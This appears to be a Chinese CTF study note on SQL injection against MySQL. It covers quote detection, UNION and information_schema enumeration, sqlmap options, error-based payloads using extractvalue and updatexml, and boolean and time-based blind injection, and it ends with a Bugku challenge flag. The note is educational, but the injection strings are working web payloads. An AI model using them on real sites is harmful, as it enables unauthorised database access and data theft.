判断有无引号
- 根据字段的意义或输入的值
- Name/可以输入字母或符号
- Id/输入是数字
- 运算测试id=2-1
- 结果与id=1一样,说明2-1被执行,没有被引号包裹
- 结果与id=2一样,说明2-1被当做字符串先进行了类型转换,再执行,有引号
判断单双引号
一般来说可以直接用转义字符进行判断
ps:上面这个bugku上的成绩单一题是利用post进行传值
这里的后台就可以认为是单引号
1 | Select * from table1 where id = ‘$id’ |
Union进行注入
- 将两个或多个查询的结果合并到一个结果集中。
- 所有查询中的列数和列的顺序必须相同。数据类型必须兼容。
确定列数
- 方法一:union select 1,2,3…,尝试到报错之前的那个数就是列数
- 方法二:order by 1..…,也是尝试到报错之前的那个数就是列数
确定显示字段
1 | //mysql中一些基础知识 |
information_schema
这个数据库存放的是数据库和数据表的元信息
看数据库
1
select schema_name from information_schema.schemata;
看表名
1
select table_name from information_schema.tables;
看列名
1
select column_name from information_schema.columns;
1
2#格式
select group_concat(column_name) from information_schema.columns where table_name=‘xxx’/0x…;
根据已知信息查数据
Select group_concat(列名) from 数据库名.表名;
Sqlmap
- -–dbs 枚举数据库管理系统数据库
- -–tables 枚举的 DBMS 数据库中的表 -T 指定
- -–columns 枚举 DBMS 数据库表列 -C 指定
- -–dump 转储数据库管理系统的数据库中的表项
报错注入
updatexml
- UPDATEXML (XML_document, XPath_string, new_value);
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc;
- 第二个参数:XPath_string (
Xpath
格式的字符串)。 - 第三个参数:new_value,是String格式,替换查找到的符合条件的数据。
- 利用的关键是,
updatexml
第二个参数需要的是Xpath
格式的字符串。如果输入的不符合Xpath
格式,将会发生错误。
extractvalue
extractvalue
函数与updatexml
函数基本相同 ,区别在于extractvalue
仅有两个参数。- EXTRACTVALUE (XML_document, XPath_string);
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。
- 第二个参数:XPath_string (
Xpath
格式的字符串)。 - 同样的,
extractvalue
第二个参数需要的是Xpath
格式的字符串。如果输入的不符合Xpath
格式,将会发生错误。 32.php?id=1 and extractvalue(1,concat(0x7e,(select USER()),0x7e))
练手题:bugku 成绩单
1 | #构造过程 |
BUGKU{Sql_INJECT0N_4813drd8hz4}
盲注
- 页面不会返回查询结果
- 页面状态只有两种,真/假
基于布尔的盲注攻击
- 攻击者在参数中输入类似“用户名第一个字母是a么”这样的SQL语句,根据页面结果判断真假。如果为真,继续暴力破解第二个字母。如果为假,则更改条件,“用户名第一个字母是b么”,以此类推进行基于布尔的盲注攻击。
SUBSTRING(str,pos,len)
,分别代表了被截取字符串、开始截取位置、截取长度。如果没有定义len
,则截取至str
末尾。pos
可以为负值,意思为倒数第几位。
确定长度
?id=1 and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())<4
确定具体内容
?id=1 and (select substring(group_concat(table_name),1,1) from information_schema.tables where table_schema=database())=‘a’
基于时间的盲注
- Sleep(5)
- benchmark(10000000,MD5(1))